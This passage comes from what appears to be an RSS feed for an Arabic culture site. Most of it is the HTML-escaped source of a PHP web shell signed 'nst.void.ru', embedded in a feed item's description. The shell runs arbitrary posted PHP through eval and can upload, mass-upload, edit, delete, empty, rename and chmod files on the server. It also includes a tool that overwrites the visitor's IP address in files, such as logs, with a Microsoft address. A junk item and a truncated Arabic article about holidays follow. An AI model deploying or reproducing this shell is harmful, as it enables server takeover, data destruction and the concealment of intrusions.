cols=113&gt;\&quot;.crypt($des).\&quot;&lt;/textarea&gt;\&quot;;}\r\n\r\nprint \&quot;\r\n&lt;b&gt;eval:&lt;/b&lt;br&gt;\r\n(example: print \\&quot;Hello World\\&quot;;)\r\n&lt;form method=post&gt;\r\n&lt;font color=red&gt;&lt;b&gt;&amp;lt;?&lt;/b&gt;&lt;br&gt;\r\n&lt;textarea name=eval rows=15 cols=113&gt;&lt;/textarea&gt;&lt;br&gt;\r\n&lt;b&gt;?&amp;gt;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;\r\n&lt;input type=submit value=Run style='width:150px;'&gt;\r\n&lt;/form&gt;&lt;br&gt;\r\n\&quot;;\r\n\r\nfunction eval_sl($editf){\r\nif(get_magic_quotes_gpc()==1){\r\n$editf=stripslashes($editf);\r\n}\r\nreturn $editf;\r\n}\r\n\r\n\r\nif($_POST['eval']){\r\nprint \&quot;&lt;b&gt;RESULT:&lt;br&gt;&lt;br&gt;&lt;/b&gt;\&quot;;\r\neval(eval_sl($_POST['eval']));\r\nprint \&quot;&lt;br&gt;&lt;br&gt;\&quot;;\r\n\r\nprint \&quot;&lt;font color=green&gt;&lt;b&gt;PHP:&lt;/b&gt;&lt;br&gt;\r\n\r\n\&quot;;\r\nprint \&quot;&amp;lt;?\r\n\&quot;;\r\nprint \&quot;&lt;br&gt;\&quot;;\r\nprint htmlspecialchars(eval_sl(($_POST['eval'])));\r\nprint \&quot;&lt;br&gt;\&quot;;\r\nprint \&quot;?&amp;gt;\r\n\r\n&lt;/font&gt;&lt;br&gt;&lt;br&gt;\&quot;;\r\n\r\n}\r\n\r\necho $copyr;\r\nexit;}\r\n\r\nif(@$_GET['replace']==\&quot;1\&quot;){\r\n$ip=@$_SERVER['REMOTE_ADDR'];\r\n$d=$_GET['d'];\r\n$e=$_GET['e'];\r\n@$de=$d.\&quot;/\&quot;.$e;\r\n$de=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$de);\r\n$e=@$e;\r\necho \&quot;[&lt;a href='$php_self?d=$d&amp;del_f=1&amp;wich_f=$e'&gt;Delete&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;ef=$e&amp;edit=1'&gt;Edit&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;e=$e&amp;clean=1'&gt;Filesize to 0 byte&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;e=$e&amp;replace=1'&gt;Replace text in file&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;download=$e'&gt;Download&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;rename=1&amp;wich_f=$e'&gt;Rename&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;chmod=1&amp;wich_f=$e'&gt;CHMOD&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;ccopy_to=$e'&gt;Copy&lt;/a&gt;]&lt;br&gt;\&quot;;\r\necho \&quot;\r\nReplace tool:&lt;br&gt;\r\n(You can replace any text)&lt;br&gt;\r\nFile: $de&lt;br&gt;\r\n&lt;form method=post&gt;\r\n1. Your ip.&lt;br&gt;\r\n2. microsoft.com ip :)&lt;br&gt;\r\nReplace this &lt;input name=thisX size=30 value=$ip&gt; by this &lt;input name=bythis size=30 value=207.46.245.156&gt;\r\n&lt;input type=submit name=doit value=Replace&gt;\r\n&lt;/form&gt;\r\n\&quot;;\r\n\r\nif(@$_POST['doit']){\r\n@$thisX=$_POST['thisX'];\r\n@$bythis=$_POST['bythis'];\r\n@$e=$_GET['e'];\r\n$filename=\&quot;$d/$e\&quot;;\r\n$fd = @fopen ($filename, \&quot;r\&quot;);\r\n$rpl = @fread ($fd, @filesize ($filename));\r\n$re=str_replace(\&quot;$thisX\&quot;,\&quot;$bythis\&quot;,$rpl);\r\n$x=@fopen(\&quot;$d/$e\&quot;,\&quot;w\&quot;);\r\n@fwrite($x,\&quot;$re\&quot;);\r\necho \&quot;&lt;br&gt;&lt;center&gt;$thisX Replaced by $bythis&lt;br&gt;\r\n[&lt;a href='$php_self?d=$d&amp;e=$e'&gt;VIew file&lt;/a&gt;]&lt;br&gt;&lt;br&gt;&lt;Br&gt;\&quot;;\r\n\r\n}\r\necho $copyr;\r\nexit;}\r\n\r\n\r\nif(@$_GET['t']==\&quot;upload\&quot;){\r\necho \&quot;&lt;br&gt;\r\n&lt;a href='$php_self?d=$d&amp;t=massupload'&gt;* Mass upload *&lt;/a&gt;&lt;br&gt;\r\nFile upload:&lt;br&gt;\r\n&lt;form enctype=\\&quot;multipart/form-data\\&quot; method=post&gt;\r\n&lt;input type=file name=text size=50&gt;&lt;br&gt;\r\n&lt;input name=where size=52 value='$d'&gt;&lt;br&gt;\r\nNew file name:&lt;br&gt;\r\n&lt;input name=newf size=30 autocomplete=off&gt; (if empty, it will be default)&lt;br&gt;\r\n&lt;input type=submit value=Upload name=uploadf&gt;\r\n&lt;/form&gt;&lt;br&gt;\r\n\&quot;;\r\n\r\nif(@$_POST['uploadf']){\r\n$where=$_POST['where'];\r\n$newf=$_POST['newf'];\r\n$where=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$where);\r\nif($newf==\&quot;\&quot;){$newf=$_FILES['text']['name'];}else{$newf=$newf;}\r\n$uploadfile = \&quot;$where/\&quot;.$newf;\r\nif (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) {\r\n$uploadfile=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$uploadfile);\r\necho \&quot;&lt;i&gt;&lt;br&gt;Uploaded to $uploadfile&lt;/i&gt;&lt;br&gt;\&quot;;\r\n}else{\r\necho \&quot;&lt;i&gt;&lt;br&gt;Error&lt;/i&gt;&lt;br&gt;\&quot;;}\r\n}\r\n}\r\n\r\nif(@$_GET['t']==\&quot;massupload\&quot;){\r\necho \&quot;\r\nMass upload:&lt;br&gt;\r\n&lt;form enctype=\\&quot;multipart/form-data\\&quot; method=post&gt;\r\n&lt;input type=file name=text1 size=43&gt; &lt;input type=file name=text11 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text2 size=43&gt; &lt;input type=file name=text12 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text3 size=43&gt; &lt;input type=file name=text13 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text4 size=43&gt; &lt;input type=file name=text14 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text5 size=43&gt; &lt;input type=file name=text15 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text6 size=43&gt; &lt;input type=file name=text16 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text7 size=43&gt; &lt;input type=file name=text17 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text8 size=43&gt; &lt;input type=file name=text18 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text9 size=43&gt; &lt;input type=file name=text19 size=43&gt;&lt;br&gt;\r\n&lt;input type=file name=text10 size=43&gt; &lt;input type=file name=text20 size=43&gt;&lt;br&gt;\r\n&lt;input name=where size=43 value='$d'&gt;&lt;br&gt;\r\n&lt;input type=submit value=Upload name=massupload&gt;\r\n&lt;/form&gt;&lt;br&gt;\&quot;;\r\n\r\nif(@$_POST['massupload']){\r\n$where=@$_POST['where'];\r\n$uploadfile1 = \&quot;$where/\&quot;.@$_FILES['text1']['name'];\r\n$uploadfile2 = \&quot;$where/\&quot;.@$_FILES['text2']['name'];\r\n$uploadfile3 = \&quot;$where/\&quot;.@$_FILES['text3']['name'];\r\n$uploadfile4 = \&quot;$where/\&quot;.@$_FILES['text4']['name'];\r\n$uploadfile5 = \&quot;$where/\&quot;.@$_FILES['text5']['name'];\r\n$uploadfile6 = \&quot;$where/\&quot;.@$_FILES['text6']['name'];\r\n$uploadfile7 = \&quot;$where/\&quot;.@$_FILES['text7']['name'];\r\n$uploadfile8 = \&quot;$where/\&quot;.@$_FILES['text8']['name'];\r\n$uploadfile9 = \&quot;$where/\&quot;.@$_FILES['text9']['name'];\r\n$uploadfile10 = \&quot;$where/\&quot;.@$_FILES['text10']['name'];\r\n$uploadfile11 = \&quot;$where/\&quot;.@$_FILES['text11']['name'];\r\n$uploadfile12 = \&quot;$where/\&quot;.@$_FILES['text12']['name'];\r\n$uploadfile13 = \&quot;$where/\&quot;.@$_FILES['text13']['name'];\r\n$uploadfile14 = \&quot;$where/\&quot;.@$_FILES['text14']['name'];\r\n$uploadfile15 = \&quot;$where/\&quot;.@$_FILES['text15']['name'];\r\n$uploadfile16 = \&quot;$where/\&quot;.@$_FILES['text16']['name'];\r\n$uploadfile17 = \&quot;$where/\&quot;.@$_FILES['text17']['name'];\r\n$uploadfile18 = \&quot;$where/\&quot;.@$_FILES['text18']['name'];\r\n$uploadfile19 = \&quot;$where/\&quot;.@$_FILES['text19']['name'];\r\n$uploadfile20 = \&quot;$where/\&quot;.@$_FILES['text20']['name'];\r\nif (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile1&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile2&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile3&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile4&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile5&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile6&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile7&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile8&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile9&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile10&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile11&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile12&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile13&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile14&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile15&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile16&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile17&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile18&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile19&lt;/i&gt;&lt;br&gt;\&quot;;}\r\nif (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {\r\n$where=str_replace(\&quot;\\\\\&quot;,\&quot;\\\&quot;,$where);\r\necho \&quot;&lt;i&gt;Uploaded to $uploadfile20&lt;/i&gt;&lt;br&gt;\&quot;;}\r\n}\r\necho $copyr;\r\nexit;}\r\n\r\nif(@$_GET['yes']==\&quot;yes\&quot;){\r\n$d=@$_GET['d']; $e=@$_GET['e'];\r\nunlink($d.\&quot;/\&quot;.$e);\r\n$delresult=\&quot;Success $d/$e deleted &lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;2;URL=$php_self?d=$d\\&quot;&gt;\&quot;;\r\n}\r\nif(@$_GET['clean']==\&quot;1\&quot;){\r\n@$e=$_GET['e'];\r\n$x=fopen(\&quot;$d/$e\&quot;,\&quot;w\&quot;);\r\nfwrite($x,\&quot;\&quot;);\r\necho \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL=$php_self?d=$d&amp;e=\&quot;.@$e.\&quot;\\&quot;&gt;\&quot;;\r\nexit;\r\n}\r\n\r\n\r\nif(@$_GET['e']){\r\n$d=@$_GET['d'];\r\n$e=@$_GET['e'];\r\n$pinf=pathinfo($e);\r\nif(in_array(\&quot;.\&quot;.@$pinf['extension'],$images)){\r\necho \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL=$php_self?d=$d&amp;e=$e&amp;img=1\\&quot;&gt;\&quot;;\r\nexit;}\r\n$filename=\&quot;$d/$e\&quot;;\r\n$fd = @fopen ($filename, \&quot;r\&quot;);\r\n$c = @fread ($fd, @filesize ($filename));\r\n$c=htmlspecialchars($c);\r\n$de=$d.\&quot;/\&quot;.$e;\r\n$de=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$de);\r\nif(is_file($de)){\r\nif(!is_writable($de)){echo \&quot;&lt;font color=red&gt;READ ONLY&lt;/font&gt;&lt;br&gt;\&quot;;}}\r\necho \&quot;[&lt;a href='$php_self?d=$d&amp;del_f=1&amp;wich_f=$e'&gt;Delete&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;ef=$e&amp;edit=1'&gt;Edit&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;e=$e&amp;clean=1'&gt;Filesize to 0 byte&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;e=$e&amp;replace=1'&gt;Replace text in file&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;download=$e'&gt;Download&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;rename=1&amp;wich_f=$e'&gt;Rename&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;chmod=1&amp;wich_f=$e'&gt;CHMOD&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;ccopy_to=$e'&gt;Copy&lt;/a&gt;]&lt;br&gt;\&quot;;\r\necho \&quot;\r\nFile contents:&lt;br&gt;\r\n$de\r\n&lt;br&gt;\r\n&lt;table width=100% border=1 cellpadding=0 cellspacing=0&gt;\r\n&lt;tr&gt;&lt;td&gt;&lt;pre&gt;\r\n$c\r\n\r\n&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\&quot;;\r\n\r\nif(@$_GET['delete']==\&quot;1\&quot;){\r\n$delete=$_GET['delete'];\r\necho \&quot;\r\nDELETE: Are you sure?&lt;br&gt;\r\n&lt;a href=\\&quot;$php_self?d=$d&amp;e=$e&amp;delete=\&quot;.@$delete.\&quot;&amp;yes=yes\\&quot;&gt;Yes&lt;/a&gt; || &lt;a href='$php_self?no=1'&gt;No&lt;/a&gt;\r\n&lt;br&gt;\r\n\&quot;;\r\nif(@$_GET['yes']==\&quot;yes\&quot;){\r\n@$d=$_GET['d']; @$e=$_GET['e'];\r\necho $delresult;\r\n}\r\nif(@$_GET['no']){\r\necho \&quot;&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL=$php_self?d=$d&amp;e=$e\\&quot;&gt;\r\n\&quot;;\r\n}\r\n\r\n\r\n} #end of delete\r\necho $copyr;\r\nexit;\r\n} #end of e\r\n\r\nif(@$_GET['edit']==\&quot;1\&quot;){\r\n@$d=$_GET['d'];\r\n@$ef=$_GET['ef'];\r\n$e=$ef;\r\nif(is_file($d.\&quot;/\&quot;.$ef)){\r\nif(!is_writable($d.\&quot;/\&quot;.$ef)){echo \&quot;&lt;font color=red&gt;READ ONLY&lt;/font&gt;&lt;br&gt;\&quot;;}}\r\necho \&quot;[&lt;a href='$php_self?d=$d&amp;del_f=1&amp;wich_f=$e'&gt;Delete&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;ef=$e&amp;edit=1'&gt;Edit&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;e=$e&amp;clean=1'&gt;Filesize to 0 byte&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;e=$e&amp;replace=1'&gt;Replace text in file&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;download=$e'&gt;Download&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;rename=1&amp;wich_f=$e'&gt;Rename&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;chmod=1&amp;wich_f=$e'&gt;CHMOD&lt;/a&gt;] [&lt;a href='$php_self?d=$d&amp;ccopy_to=$e'&gt;Copy&lt;/a&gt;]&lt;br&gt;\&quot;;\r\n$filename=\&quot;$d/$ef\&quot;;\r\n$fd = @fopen ($filename, \&quot;r\&quot;);\r\n$c = @fread ($fd, @filesize ($filename));\r\n$c=htmlspecialchars($c);\r\n$de=$d.\&quot;/\&quot;.$ef;\r\n$de=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$de);\r\necho \&quot;\r\nEdit:&lt;br&gt;\r\n$de&lt;br&gt;\&quot;;\r\n\r\nif(!@$_POST['save']){\r\nprint \&quot;\r\n&lt;form method=post&gt;\r\n&lt;input name=filename value='$d/$ef'&gt;\r\n&lt;textarea cols=143 rows=30 name=editf&gt;$c&lt;/textarea&gt;\r\n&lt;br&gt;\r\n&lt;input type=submit name=save value='Save changes'&gt;&lt;/form&gt;&lt;br&gt;\r\n\&quot;;\r\n}\r\nif(@$_POST['save']){\r\n$editf=@$_POST['editf'];\r\n\r\nif(get_magic_quotes_runtime() or get_magic_quotes_gpc()){\r\n$editf=stripslashes($editf);\r\n}\r\n\r\n$f=fopen($filename,\&quot;w+\&quot;);\r\nfwrite($f,\&quot;$editf\&quot;);\r\necho \&quot;&lt;br&gt;\r\n&lt;b&gt;File edited.&lt;/b&gt;\r\n&lt;meta http-equiv=\\&quot;REFRESH\\&quot; content=\\&quot;0;URL=$php_self?d=$d&amp;e=$ef\\&quot;&gt;\&quot;;\r\nexit;\r\n}\r\necho $copyr;\r\nexit;\r\n}\r\n\r\n\r\n\r\necho\&quot;\r\n&lt;table width=100% cellpadding=1 cellspacing=0 class=hack&gt;\r\n&lt;tr&gt;&lt;td bgcolor=#519A00&gt;&lt;center&gt;&lt;b&gt;Filename&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=#519A00&gt;&lt;center&gt;&lt;b&gt;Tools&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=#519A00&gt;&lt;b&gt;Size&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=#519A00&gt;&lt;center&gt;&lt;b&gt;Owner/Group&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=#519A00&gt;&lt;b&gt;Perms&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;\r\n\&quot;;\r\n$dirs=array();\r\n$files=array();\r\n$dh = @opendir($d) or die(\&quot;&lt;table width=100%&gt;&lt;tr&gt;&lt;td&gt;&lt;center&gt;Permission Denied or Folder/Disk does not exist&lt;/center&gt;&lt;br&gt;$copyr&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;);\r\nwhile (!(($file = readdir($dh)) === false)) {\r\nif ($file==\&quot;.\&quot; || $file==\&quot;..\&quot;) continue;\r\nif (@is_dir(\&quot;$d/$file\&quot;)) {\r\n      $dirs[]=$file;\r\n}else{\r\n      $files[]=$file;\r\n      }\r\n   sort($dirs);\r\n   sort($files);\r\n\r\n$fz=@filesize(\&quot;$d/$file\&quot;);\r\n}\r\n\r\nfunction perm($perms){\r\nif (($perms &amp; 0xC000) == 0xC000) {\r\n   $info = 's';\r\n} elseif (($perms &amp; 0xA000) == 0xA000) {\r\n   $info = 'l';\r\n} elseif (($perms &amp; 0x8000) == 0x8000) {\r\n   $info = '-';\r\n} elseif (($perms &amp; 0x6000) == 0x6000) {\r\n   $info = 'b';\r\n} elseif (($perms &amp; 0x4000) == 0x4000) {\r\n   $info = 'd';\r\n} elseif (($perms &amp; 0x2000) == 0x2000) {\r\n   $info = 'c';\r\n} elseif (($perms &amp; 0x1000) == 0x1000) {\r\n   $info = 'p';\r\n} else {\r\n   $info = 'u';\r\n}\r\n$info .= (($perms &amp; 0x0100) ? 'r' : '-');\r\n$info .= (($perms &amp; 0x0080) ? 'w' : '-');\r\n$info .= (($perms &amp; 0x0040) ?\r\n           (($perms &amp; 0x0800) ? 's' : 'x' ) :\r\n           (($perms &amp; 0x0800) ? 'S' : '-'));\r\n$info .= (($perms &amp; 0x0020) ? 'r' : '-');\r\n$info .= (($perms &amp; 0x0010) ? 'w' : '-');\r\n$info .= (($perms &amp; 0x0008) ?\r\n           (($perms &amp; 0x0400) ? 's' : 'x' ) :\r\n           (($perms &amp; 0x0400) ? 'S' : '-'));\r\n$info .= (($perms &amp; 0x0004) ? 'r' : '-');\r\n$info .= (($perms &amp; 0x0002) ? 'w' : '-');\r\n$info .= (($perms &amp; 0x0001) ?\r\n           (($perms &amp; 0x0200) ? 't' : 'x' ) :\r\n           (($perms &amp; 0x0200) ? 'T' : '-'));\r\nreturn $info;\r\n}\r\n\r\n\r\nfor($i=0; $i&lt;count($dirs); $i++){\r\n\r\n$perms = @fileperms($d.\&quot;/\&quot;.$dirs[$i]);\r\n$owner = @fileowner($d.\&quot;/\&quot;.$dirs[$i]);\r\nif($os==\&quot;unix\&quot;){\r\n$fileownera=posix_getpwuid($owner);\r\n$owner=$fileownera['name'];\r\n}\r\n$group = @filegroup($d.\&quot;/\&quot;.$dirs[$i]);\r\nif($os==\&quot;unix\&quot;){\r\n$groupinfo = posix_getgrgid($group);\r\n$group=$groupinfo['name'];\r\n}\r\n$info=perm($perms);\r\nif($i%2){$color=\&quot;#D7FFA8\&quot;;}else{$color=\&quot;#D1D1D1\&quot;;}\r\n$linkd=\&quot;&lt;a href='$php_self?d=$d/$dirs[$i]'&gt;$dirs[$i]&lt;/a&gt;\&quot;;\r\n$linkd=str_replace(\&quot;//\&quot;,\&quot;/\&quot;,$linkd);\r\necho \&quot;&lt;tr&gt;&lt;td bgcolor=$color&gt;&lt;font face=wingdings size=2&gt;0&lt;/font&gt; $linkd&lt;/td&gt;&lt;td bgcolor=$color&gt;&lt;center&gt;&lt;font color=blue&gt;DIR&lt;/font&gt;&lt;/td&gt;&lt;td bgcolor=$color&gt;&amp;nbsp;&lt;/td&gt;&lt;td bgcolor=$color&gt;&lt;center&gt;$owner/$group&lt;/td&gt;&lt;td bgcolor=$color&gt;$info&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\n}\r\n\r\nfor($i=0; $i&lt;count($files); $i++){\r\n\r\n$size=@filesize($d.\&quot;/\&quot;.$files[$i]);\r\n$perms = @fileperms($d.\&quot;/\&quot;.$files[$i]);\r\n$owner = @fileowner($d.\&quot;/\&quot;.$files[$i]);\r\nif($os==\&quot;unix\&quot;){\r\n$fileownera=posix_getpwuid($owner);\r\n$owner=$fileownera['name'];\r\n}\r\n$group = @filegroup($d.\&quot;/\&quot;.$files[$i]);\r\nif($os==\&quot;unix\&quot;){\r\n$groupinfo = posix_getgrgid($group);\r\n$group=$groupinfo['name'];\r\n}\r\n$info=perm($perms);\r\nif($i%2){$color=\&quot;#D1D1D1\&quot;;}else{$color=\&quot;#D7FFA8\&quot;;}\r\n\r\nif ($size &lt; 1024){$siz=$size.' b';\r\n}else{\r\nif ($size &lt; 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{\r\nif ($size &lt; 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{\r\nif ($size &lt; 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';}\r\n}}}\r\necho \&quot;&lt;tr&gt;&lt;td bgcolor=$color&gt;&lt;font face=wingdings size=3&gt;2&lt;/font&gt; &lt;a href='$php_self?d=$d&amp;e=$files[$i]'&gt;$files[$i]&lt;/a&gt;&lt;/td&gt;&lt;td bgcolor=$color&gt;&lt;center&gt;&lt;a href=\\&quot;javascript:ShowOrHide('$i','')\\&quot;&gt;[options]&lt;/a&gt;&lt;div id='$i' style='display:none;z-index:1;' &gt;&lt;a href='$php_self?d=$d&amp;ef=$files[$i]&amp;edit=1' title='Edit $files[$i]'&gt;&lt;b&gt;Edit&lt;/b&gt;&lt;/a&gt;&lt;br&gt;&lt;a href='$php_self?d=$d&amp;del_f=1&amp;wich_f=$files[$i]' title='Delete $files[$i]'&gt;&lt;b&gt;Delete&lt;/b&gt;&lt;/a&gt;&lt;br&gt;&lt;a href='$php_self?d=$d&amp;chmod=1&amp;wich_f=$files[$i]' title='chmod $files[$i]'&gt;&lt;b&gt;CHMOD&lt;/b&gt;&lt;/a&gt;&lt;br&gt;&lt;a href='$php_self?d=$d&amp;rename=1&amp;wich_f=$files[$i]' title='Rename $files[$i]'&gt;&lt;b&gt;Rename&lt;/b&gt;&lt;/a&gt;&lt;br&gt;&lt;a href='$php_self?d=$d&amp;download=$files[$i]' title='Download $files[$i]'&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/a&gt;&lt;br&gt;&lt;a href='$php_self?d=$d&amp;ccopy_to=$files[$i]' title='Copy $files[$i] to?'&gt;&lt;b&gt;Copy&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td bgcolor=$color&gt;$siz&lt;/td&gt;&lt;td bgcolor=$color&gt;&lt;center&gt;$owner/$group&lt;/td&gt;&lt;td bgcolor=$color&gt;$info&lt;/td&gt;&lt;/tr&gt;\&quot;;\r\n}\r\n\r\necho \&quot;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;\&quot;;\r\necho $copyr;\r\n\r\n?&gt;\r\n&lt;!-- Network security team :: nst.void.ru --&gt;]]></description>
  <generator>onArcade v2.2</generator>
  <item>
    <title><![CDATA[sdfas]]></title>
    <description><![CDATA[sdfas]]></description>
    <link>http://culture.bdr130.net/file.php?f=19154</link>
    <pubDate>Mon, 19 Oct 2009 17:10:52 -0500</pubDate>
    <comments>http://culture.bdr130.net/file.php?f=19154#to_comments</comments>
  </item>
  <item>
    <title><![CDATA[يوم العطلة]]></title>
    <description><![CDATA[يوم العُطْلَة  اليوم الذي يترك فيه الناس أعمالهم واهتماماتهم المعتادة. كانت العطلات تمُنح في البداية تكريمًا لواقعة أو مناسبة مقدَّسَة، أو شخص له قداسته. أمَّا الآن فإن الناس يتحدثون عن مثل هذا اليوم بمعنى الانقطاع عن العمل أو المدرسة أو الروت]]></description>
    <link>http://culture.bdr130.net/file.php?f=19153</link>
    <pubDate>Wed, 31 Dec 1969 18:00:00 -0600</pubDate>
